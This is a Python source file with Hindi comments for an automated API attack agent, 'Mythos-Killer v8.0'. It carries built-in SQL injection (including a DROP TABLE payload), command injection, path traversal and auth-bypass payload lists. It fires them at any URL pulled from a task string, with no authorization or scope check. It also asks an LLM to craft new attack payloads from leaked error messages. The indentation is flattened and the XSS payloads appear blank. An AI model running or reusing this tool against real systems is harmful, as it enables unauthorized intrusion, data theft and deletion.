# api_fuzzer_agent.py (Mythos-Killer v8.0 -- चौथी कैटेगरी: API & GraphQL फ़ज़िंग)
# यह फ़ाइल हमारे सिस्टम का "API फ़ज़र" एजेंट है।
# यह REST और GraphQL APIs की ऑटोमेटिक टेस्टिंग करके कमज़ोरियाँ ढूंढता है,
# और हर एरर से सीखकर अगला हमला और स्मार्ट बनाता है।
import os
import re
import json
import time
import logging
import datetime
from typing import Dict, Any, List, Optional, Tuple
from urllib.parse import urljoin
import requests as http_requests
# प्रोजेक्ट मॉड्यूल (वैकल्पिक)
try:
from event_bus import get_event_bus, Events
EVENT_BUS_AVAILABLE = True
except ImportError:
EVENT_BUS_AVAILABLE = False
Events = None
class ApiFuzzerAgent:
"""
v8.0 API फ़ज़र एजेंट -- REST और GraphQL APIs के लिए इंटेलिजेंट फ़ज़िंग।
यह एजेंट GraphQL स्कीमा को इंट्रोस्पेक्ट करता है, REST API के लिए
OpenAPI स्पेक से टेस्ट केस जनरेट करता है, और AI-पावर्ड स्मार्ट म्यूटेशन
के ज़रिए हर एरर से सीखकर अगला हमला बेहतर बनाता है।
"""
SQLI_PAYLOADS = [
"' OR '1'='1", "' OR 1=1 --", "admin'--", "1' OR '1'='1",
"' UNION SELECT NULL--", "' UNION SELECT username,password FROM users--",
"'; DROP TABLE users; --", "1' AND 1=0 UNION ALL SELECT 1,2,3,4,5 --",
]
XSS_PAYLOADS = [
"", " ",
"", "javascript:alert('XSS')",
]
COMMAND_INJECTION_PAYLOADS = [
"; ls -la", "| whoami", "$(whoami)", "`whoami`", "&& cat /etc/passwd",
"; sleep 5", "| ping -c 5 127.0.0.1",
]
PATH_TRAVERSAL_PAYLOADS = [
"../../../etc/passwd", "..\\..\\..\\windows\\win.ini",
"....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
]
AUTH_BYPASS_PAYLOADS = [
"", "null", "undefined", "{}", "[]", "true", "false",
"Bearer null", "Bearer undefined", "Basic YWRtaW46YWRtaW4=",
]
# FIX 1 (CRITICAL): GraphQL syntax -- सभी ब्रैकेट्स बैलेंस्ड किए
GRAPHQL_INTROSPECTION_QUERY = """
query IntrospectionQuery {
__schema {
types { name kind fields { name type { name kind ofType { name kind } } } }
queryType { name fields { name args { name type { name kind ofType { name kind } } } } }
mutationType { name fields { name args { name type { name kind ofType { name kind } } } } }
}
}
"""
# FIX 3 (HIGH): __init__ से sandbox_manager=None और tools=None हटाए
def __init__(
self,
router=None,
event_bus=None,
request_timeout: int = 10,
):
"""
ApiFuzzerAgent को आवश्यक सेवाओं के साथ प्रारंभ करता है।
पैरामीटर्स:
router: SmartModelRouter (AI कॉल के लिए)
event_bus: EventBus इंस्टेंस
request_timeout: HTTP रिक्वेस्ट का टाइमआउट (सेकंड)
"""
self.router = router
self.request_timeout = request_timeout
# EventBus
self.event_bus = event_bus
if self.event_bus is None and EVENT_BUS_AVAILABLE:
try:
self.event_bus = get_event_bus()
except Exception as e:
logging.debug(e)
# सेशन स्टोरेज
self._session = http_requests.Session()
self._session.headers.update({
"User-Agent": "Mythos-Killer-ApiFuzzer/8.0",
"Accept": "application/json, */*",
})
# स्टैट्स
self.stats = {
"requests_sent": 0,
"vulnerabilities_found": 0,
"endpoints_tested": 0,
"mutations_learned": 0,
"started_at": None,
}
# FIX 5 (LOW): स्टार्ट टाइम सेट करें
self.stats["started_at"] = datetime.datetime.now(datetime.timezone.utc).isoformat()
def _add_timeline(self, state: Dict, agent: str, status: str, message: str):
if "timeline" not in state:
state["timeline"] = []
state["timeline"].append({
"timestamp": datetime.datetime.now().strftime("%H:%M:%S"),
"agent": agent,
"status": status,
"message": message
})
def _introspect_graphql(self, endpoint: str) -> Optional[Dict]:
"""GraphQL एंडपॉइंट से स्कीमा निकालता है।"""
try:
resp = self._session.post(
endpoint,
json={"query": self.GRAPHQL_INTROSPECTION_QUERY},
timeout=self.request_timeout
)
if resp.status_code == 200 and "data" in resp.json():
return resp.json()["data"]["__schema"]
except Exception as e:
logging.debug(e)
return None
def _generate_graphql_payloads(self, schema: Dict) -> List[Dict]:
"""GraphQL स्कीमा से सभी क्वेरी और म्यूटेशन के लिए टेस्ट पेलोड जनरेट करता है।"""
payloads = []
query_type = schema.get("queryType", {}).get("name", "Query")
mutation_type = schema.get("mutationType", {}).get("name", "Mutation")
for t in schema.get("types", []):
if t.get("kind") != "OBJECT":
continue
type_name = t.get("name", "")
for field in t.get("fields", []):
field_name = field.get("name", "")
if field_name.startswith("__"):
continue
if type_name == query_type:
gql = f"query {{ {field_name} {{ id }} }}"
elif type_name == mutation_type:
gql = f"mutation {{ {field_name}(input: {{}}) {{ id }} }}"
else:
continue
payloads.append({
"type": "graphql",
"query": gql,
"endpoint": "graphql",
"field": field_name,
"original_type": type_name,
})
return payloads
def _discover_rest_endpoints(self, base_url: str) -> List[str]:
"""कॉमन REST API पैटर्न के आधार पर एंडपॉइंट खोजता है।"""
common_paths = [
"/api/v1/users", "/api/v1/login", "/api/v1/data",
"/api/users", "/api/login", "/api/data",
"/users", "/login", "/auth", "/graphql",
"/api/v1/products", "/api/v1/orders",
"/v1/users", "/v2/users",
]
discovered = []
for path in common_paths:
try:
url = urljoin(base_url, path)
resp = self._session.get(url, timeout=5)
if resp.status_code < 500:
discovered.append(path)
except Exception as e:
logging.debug(e)
return discovered
def _generate_smart_payloads(
self, error_response: str, endpoint: str, method: str
) -> List[Dict]:
"""
पिछले एरर रिस्पॉन्स से सीखकर नए, स्मार्ट पेलोड जनरेट करता है।
"""
if not self.router:
return []
try:
prompt = f"""
You are a penetration tester. The following API returned an error:
Endpoint: {endpoint}
Method: {method}
Response: {error_response[:1000]}
Generate 5 new attack payloads (JSON format) that target the specific technology
or vulnerability hinted at in this error message. If the error leaks a stack trace,
target that library version. If it shows SQL syntax, craft better SQLi payloads.
Return as JSON list: [{{"param": "value"}}, ...]
"""
response = self.router.call(
"deepseek/deepseek-r1", prompt,
hidden_thinking=True,
task_type="offensive"
)
json_match = re.search(r'\[.*\]', response, re.DOTALL)
if json_match:
payloads = json.loads(json_match.group(0))
self.stats["mutations_learned"] += len(payloads)
return payloads
except Exception as e:
logging.debug(e)
return []
def _analyze_response(
self, resp: http_requests.Response, payload: str, endpoint: str
) -> Optional[Dict]:
"""
API रिस्पॉन्स का विश्लेषण करके संभावित कमज़ोरी की पहचान करता है।
"""
finding = None
text = resp.text.lower()
sql_errors = [
"sql syntax", "mysql_fetch", "ora-", "postgresql",
"sqlite3", "unclosed quotation mark", "warning: mysql",
]
for err in sql_errors:
if err in text:
finding = {
"type": "SQL Injection",
"severity": "high",
"payload": payload,
"evidence": f"SQL error detected: {err}",
"endpoint": endpoint,
"status_code": resp.status_code,
}
break
if not finding and payload in resp.text:
finding = {
"type": "Cross-Site Scripting (XSS)",
"severity": "medium",
"payload": payload,
"evidence": "Payload reflected in response",
"endpoint": endpoint,
"status_code": resp.status_code,
}
if not finding:
stack_indicators = ["traceback", "stack trace", "at line", "in "]
for ind in stack_indicators:
if ind in text:
finding = {
"type": "Information Disclosure (Stack Trace)",
"severity": "low",
"payload": payload,
"evidence": "Stack trace leaked in response",
"endpoint": endpoint,
"status_code": resp.status_code,
}
break
if not finding and resp.status_code == 500 and len(resp.text) > 100:
finding = {
"type": "Error-Based Information Leak",
"severity": "medium",
"payload": payload,
"evidence": f"HTTP 500 with detailed error body ({len(resp.text)} chars)",
"endpoint": endpoint,
"status_code": resp.status_code,
}
if finding:
finding["timestamp"] = datetime.datetime.now().isoformat()
self.stats["vulnerabilities_found"] += 1
return finding
return None
# FIX 2 (MEDIUM): AUTH_BYPASS_PAYLOADS को भी fuzz loop में शामिल किया
def _fuzz_endpoint(
self, url: str, method: str = "GET", param_name: str = "q",
payloads: List[str] = None, smart_learning: bool = True
) -> Tuple[List[Dict], List[str]]:
"""
एक API एंडपॉइंट पर फ़ज़िंग करता है।
लौटाता है:
(findings, learned_errors) -- कमज़ोरियाँ और सीखे गए एरर
"""
if payloads is None:
payloads = (
self.SQLI_PAYLOADS + self.XSS_PAYLOADS +
self.COMMAND_INJECTION_PAYLOADS + self.PATH_TRAVERSAL_PAYLOADS +
self.AUTH_BYPASS_PAYLOADS
)
findings = []
learned_errors = []
for payload in payloads:
self.stats["requests_sent"] += 1
try:
if method.upper() == "GET":
resp = self._session.get(
url, params={param_name: payload},
timeout=self.request_timeout
)
else:
resp = self._session.post(
url, json={param_name: payload},
timeout=self.request_timeout
)
finding = self._analyze_response(resp, payload, url)
if finding:
findings.append(finding)
learned_errors.append(resp.text[:500])
except Exception as e:
logging.debug(e)
if smart_learning and learned_errors and self.router:
for error_text in learned_errors[:3]:
new_payloads = self._generate_smart_payloads(error_text, url, method)
for np in new_payloads:
if isinstance(np, dict):
for k, v in np.items():
try:
resp = self._session.get(
url, params={k: str(v)},
timeout=self.request_timeout
)
finding = self._analyze_response(resp, str(v), url)
if finding:
findings.append(finding)
except Exception as e:
logging.debug(e)
return findings, learned_errors
def _generate_report(
self, target: str, endpoints: List[str], findings: List[Dict], duration: float
) -> str:
"""API फ़ज़िंग की पूरी रिपोर्ट तैयार करता है।"""
report = f"""# API Fuzzing Report -- Mythos-Killer v8.0
**Target:** {target}
**Scan Started:** {datetime.datetime.now().isoformat()}
**Duration:** {duration:.1f}s
**Endpoints Tested:** {len(endpoints)}
**Requests Sent:** {self.stats['requests_sent']}
**Vulnerabilities Found:** {len(findings)}
**Smart Mutations:** {self.stats['mutations_learned']}
## Endpoints Tested
"""
for ep in endpoints:
report += f"- `{ep}`\n"
report += "\n## Findings\n"
if findings:
for i, f in enumerate(findings, 1):
report += f"""
### {i}. {f['type']} -- {f['severity'].upper()}
| Property | Value |
|:---|:---|
| **Endpoint** | `{f['endpoint']}` |
| **Payload** | `{f['payload'][:100]}` |
| **Evidence** | {f['evidence']} |
| **HTTP Code** | {f['status_code']} |
| **Timestamp** | {f.get('timestamp', 'N/A')} |
"""
else:
report += "\nNo vulnerabilities found.\n"
report += "\n## Chain of Custody\nThis report was generated automatically by Mythos-Killer v8.0 ApiFuzzerAgent.\nAll evidence is unmodified.\n"
return report
def run(self, state: Dict[str, Any], instruction: Optional[str] = None) -> Dict[str, Any]:
"""
API फ़ज़िंग का मुख्य प्रवेश बिंदु।
पैरामीटर्स:
state: LangGraph स्टेट डिक्शनरी
instruction: वैकल्पिक निर्देश
लौटाता है:
अपडेटेड state डिक्शनरी
"""
task = instruction or state.get("command", "API fuzzing")
target_url = state.get("target_url", "")
# FIX 3 (HIGH): run के अंदर duplicate `import re` हटाया
if not target_url:
urls = re.findall(r'https?://[^\s<>"]+|www\.[^\s<>"]+', task)
if urls:
target_url = urls[0]
if not target_url.startswith("http"):
target_url = "https://" + target_url
if not target_url:
self._add_timeline(state, "ApiFuzzer", "ERROR", "No URL found")
state["api_fuzzer_error"] = "No target URL"
state["investigation_complete"] = False
return state
self._add_timeline(state, "ApiFuzzer", "RUNNING", f"API fuzzing started: {target_url}")
start_time = time.time()
all_findings = []
all_endpoints = []
# Step 1: GraphQL Introspection
graphql_endpoint = urljoin(target_url, "/graphql")
schema = self._introspect_graphql(graphql_endpoint)
if schema:
self._add_timeline(state, "ApiFuzzer", "OK", "GraphQL schema retrieved")
gql_payloads = self._generate_graphql_payloads(schema)
all_endpoints.append("/graphql (GraphQL)")
for gql in gql_payloads[:20]:
try:
resp = self._session.post(
graphql_endpoint,
json={"query": gql["query"]},
timeout=self.request_timeout
)
self.stats["requests_sent"] += 1
finding = self._analyze_response(resp, gql["query"], graphql_endpoint)
if finding:
finding["graphql_field"] = gql.get("field", "")
all_findings.append(finding)
except Exception as e:
logging.debug(e)
else:
self._add_timeline(state, "ApiFuzzer", "INFO", "No GraphQL endpoint, continuing with REST")
# Step 2: REST API Discovery and Fuzzing
rest_endpoints = self._discover_rest_endpoints(target_url)
for ep in rest_endpoints:
full_url = urljoin(target_url, ep)
all_endpoints.append(ep)
self.stats["endpoints_tested"] += 1
findings, _ = self._fuzz_endpoint(full_url)
all_findings.extend(findings)
if findings:
self._add_timeline(state, "ApiFuzzer", "ALERT",
f"{ep}: {len(findings)} vulnerabilities found")
# Step 3: Fuzz base URL if no REST endpoints discovered
if not rest_endpoints:
all_endpoints.append("/")
self.stats["endpoints_tested"] += 1
findings, _ = self._fuzz_endpoint(target_url)
all_findings.extend(findings)
duration = time.time() - start_time
self._add_timeline(
state, "ApiFuzzer",
"COMPLETE" if all_findings else "CLEAN",
f"Fuzzing done: {len(all_findings)} findings ({duration:.1f}s)"
)
report = self._generate_report(target_url, all_endpoints, all_findings, duration)
state["api_fuzzer_report"] = report
state["api_fuzzer_findings"] = all_findings
state["current_step"] = "api_fuzzer_complete"
state["investigation_complete"] = True
return state
def get_stats(self) -> Dict[str, Any]:
"""एजेंट के आँकड़े लौटाएँ।"""
return dict(self.stats)